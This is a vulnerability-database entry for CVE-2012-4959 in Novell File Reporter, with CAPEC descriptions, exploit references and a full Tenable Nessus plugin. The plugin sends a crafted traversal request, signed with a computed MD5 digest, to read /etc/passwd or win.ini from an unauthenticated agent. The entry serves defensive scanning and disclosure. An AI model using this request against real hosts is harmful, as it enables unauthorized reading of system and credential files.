Vulnerabilities > CVE-2012-4959 - Path Traversal vulnerability in Novell File Reporter 1.0.2

047910
CVSS 10.0 - CRITICAL
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
COMPLETE
Integrity impact
COMPLETE
Availability impact
COMPLETE
network
low complexity
novell
CWE-22
critical
nessus
exploit available
metasploit

Summary

Directory traversal vulnerability in NFRAgent.exe in Novell File Reporter 1.0.2 allows remote attackers to upload and execute files via a 130 /FSF/CMD request with a .. (dot dot) in a FILE element of an FSFUI record.

Vulnerable Configurations

Part Description Count
Application
Novell
1

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Relative Path Traversal
    An attacker exploits a weakness in input validation on the target by supplying a specially constructed path utilizing dot and slash characters for the purpose of obtaining access to arbitrary files or resources. An attacker modifies a known path on the target in order to reach material that is not available through intended channels. These attacks normally involve adding additional path separators (/ or \) and/or dots (.), or encodings thereof, in various combinations in order to reach parent directories or entirely separate trees of the target's directory structure.
  • Directory Traversal
    An attacker with access to file system resources, either directly or via application logic, will use various file path specification or navigation mechanisms such as ".." in path strings and absolute paths to extend their range of access to inappropriate areas of the file system. The attacker attempts to either explore the file system for recon purposes or access directories and files that are intended to be restricted from their access. Exploring the file system can be achieved through constructing paths presented to directory listing programs, such as "ls" and 'dir', or through specially crafted programs that attempt to explore the file system. The attacker engaging in this type of activity is searching for information that can be used later in a more exploitive attack. Access to restricted directories or files can be achieved through modification of path references utilized by system applications.
  • File System Function Injection, Content Based
    An attack of this type exploits the host's trust in executing remote content including binary files. The files are poisoned with a malicious payload (targeting the file systems accessible by the target software) by the attacker and may be passed through standard channels such as via email, and standard web content like PDF and multimedia files. The attacker exploits known vulnerabilities or handling routines in the target processes. Vulnerabilities of this type have been found in a wide variety of commercial applications from Microsoft Office to Adobe Acrobat and Apple Safari web browser. When the attacker knows the standard handling routines and can identify vulnerabilities and entry points they can be exploited by otherwise seemingly normal content. Once the attack is executed, the attackers' program can access relative directories such as C:\Program Files or other standard system directories to launch further attacks. In a worst case scenario, these programs are combined with other propagation logic and work as a virus.
  • Using Slashes and URL Encoding Combined to Bypass Validation Logic
    This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL. An URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
  • Manipulating Input to File System Calls
    An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

Exploit-Db

  • descriptionNovell File Reporter Agent XML Parsing Remote Code Execution Vulnerability (0day). CVE-2012-4957,CVE-2012-4958,CVE-2012-4959. Remote exploit for windows plat...
    idEDB-ID:23323
    last seen2016-02-02
    modified2012-12-12
    published2012-12-12
    reporterAbysssec
    sourcehttps://www.exploit-db.com/download/23323/
    titleNovell File Reporter Agent XML Parsing Remote Code Execution Vulnerability 0day
  • descriptionNFR Agent FSFUI Record File Upload RCE. CVE-2012-4959. Remote exploit for windows platform
    idEDB-ID:22787
    last seen2016-02-02
    modified2012-11-19
    published2012-11-19
    reportermetasploit
    sourcehttps://www.exploit-db.com/download/22787/
    titleNFR Agent FSFUI Record File Upload RCE

Metasploit

Nessus

NASL familyMisc.
NASL idNOVELL_FILE_REPORTER_AGENT_DOWNLOAD.NASL
descriptionThe version of Novell File Reporter Agent running on the remote host has an arbitrary file download vulnerability. Making a specially crafted POST request to /FSF/CMD for records with a name of FSFUI and UICMD of 126 could result in arbitrary files being downloaded. A remote, unauthenticated attacker could exploit this to download arbitrary files as root (against Linux targets) or SYSTEM (against Windows targets). This version of Novell File Reporter Agent likely has other vulnerabilities, but Nessus has not checked for those issues.
last seen2020-06-01
modified2020-06-02
plugin id62977
published2012-11-20
reporterThis script is Copyright (C) 2012-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/62977
titleNovell File Reporter Agent FSFUI UICMD 126 Arbitrary File Download
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(62977);
  script_version("1.9");
  script_cvs_date("Date: 2018/11/15 20:50:23");

  script_cve_id("CVE-2012-4958");
  script_bugtraq_id(56579);
  script_xref(name:"CERT", value:"273371");

  script_name(english:"Novell File Reporter Agent FSFUI UICMD 126 Arbitrary File Download");
  script_summary(english:"Tries to download a file");

  script_set_attribute(
    attribute:"synopsis",
    value:
"An application running on the remote host has an arbitrary file
download vulnerability."
  );
  script_set_attribute(
    attribute:"description",
    value:
"The version of Novell File Reporter Agent running on the remote host
has an arbitrary file download vulnerability.  Making a specially
crafted POST request to /FSF/CMD for records with a name of FSFUI and
UICMD of 126 could result in arbitrary files being downloaded.  A
remote, unauthenticated attacker could exploit this to download
arbitrary files as root (against Linux targets) or SYSTEM (against
Windows targets). 

This version of Novell File Reporter Agent likely has other
vulnerabilities, but Nessus has not checked for those issues."
  );
  # https://blog.rapid7.com/2012/11/16/nfr-agent-buffer-vulnerabilites-cve-2012-4959/
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?2d6b6622");
  script_set_attribute(attribute:"solution", value:"There is no known solution at this time.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:N/A:N");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:U/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'NFR Agent FSFUI Record File Upload RCE');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
script_set_attribute(attribute:"vuln_publication_date", value:"2012/11/16");
  script_set_attribute(attribute:"plugin_publication_date", value:"2012/11/20");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:novell:file_reporter");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_family(english:"Misc.");

  script_copyright(english:"This script is Copyright (C) 2012-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("novell_file_reporter_agent_detect.nbin", "os_fingerprint.nasl");
  script_require_ports("Services/nfr-agent", 3037);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("data_protection.inc");

port = get_service(svc:'nfr-agent', default:3037, exit_on_fail:TRUE);

if (report_paranoia < 2 && (os = get_kb_item('Host/OS')))
{
  if ('Windows' >< os)
  {
    checks["\windows\win.ini"] = '; for 16-bit app support';
    checks["\winnt\win.ini"] = '; for 16-bit app support';
  }
  else
  {
    checks["/etc/passwd"] = 'root:.*:0:[01]:';
  }
}
else
{
    checks["\windows\win.ini"] = '; for 16-bit app support';
    checks["\winnt\win.ini"] = '; for 16-bit app support';
    checks["/etc/passwd"] = 'root:.*:0:[01]:';
}

foreach file (keys(checks))
{
  pattern = checks[file];
  if ('/etc/passwd' >< file)
    traversal = '../../../../../../../../..';
  else
    traversal = '..\\..\\..\\..\\..\\..\\..\\..\\..';

  record =
    '<RECORD>' +
    '<NAME>FSFUI</NAME>' +
    '<UICMD>126</UICMD>' +
    '<FILE>' + traversal + file + '</FILE>' +
    '</RECORD>';
  digest = toupper(hexstr(MD5('SRS' + record + 'SERVER')));
  req = digest + record;
  res = http_send_recv3(
    port:port,
    method:'POST',
    item:'/FSF/CMD',
    data:req,
    content_type:'text/xml',
    exit_on_fail:TRUE
  );

  if (res[2] =~ pattern)
  {
    res[2] = data_protection::redact_etc_passwd(output:res[2]);
    if (report_verbosity > 0)
    {
      # extract the file contents from the XML response
      contents = strstr(res[2], '![CDATA[');
      trailer = strstr(contents, ']]>');
      contents = contents - '![CDATA[' - trailer;

      report =
        '\nNessus retrieved ' + file + ' by making the following request :\n\n' +
        http_last_sent_request() +
        '\n\nWhich returned the following data :\n\n' +
        contents;
      security_hole(port:port, extra:report);
    }
    else security_hole(port);

    exit(0);
    # never reached
  }
}

# this code is only hit if none of the exploit attempts worked
audit(AUDIT_LISTEN_NOT_VULN, 'Novell File Reporter Agent', port);

Packetstorm

Saint

bid56579
descriptionNovell File Reporter FSFUI File Upload
osvdb87573
titlenovell_file_reporter_fsfui_file_upload
typeremote

Seebug

  • bulletinFamilyexploit
    descriptionNo description provided by source.
    idSSV:76581
    last seen2017-11-19
    modified2014-07-01
    published2014-07-01
    reporterRoot
    sourcehttps://www.seebug.org/vuldb/ssvid-76581
    titleNFR Agent FSFUI Record File Upload RCE
  • bulletinFamilyexploit
    descriptionNo description provided by source.
    idSSV:77094
    last seen2017-11-19
    modified2014-07-01
    published2014-07-01
    reporterRoot
    sourcehttps://www.seebug.org/vuldb/ssvid-77094
    titleNovell File Reporter Agent XML Parsing Remote Code Execution Vulnerability (0day)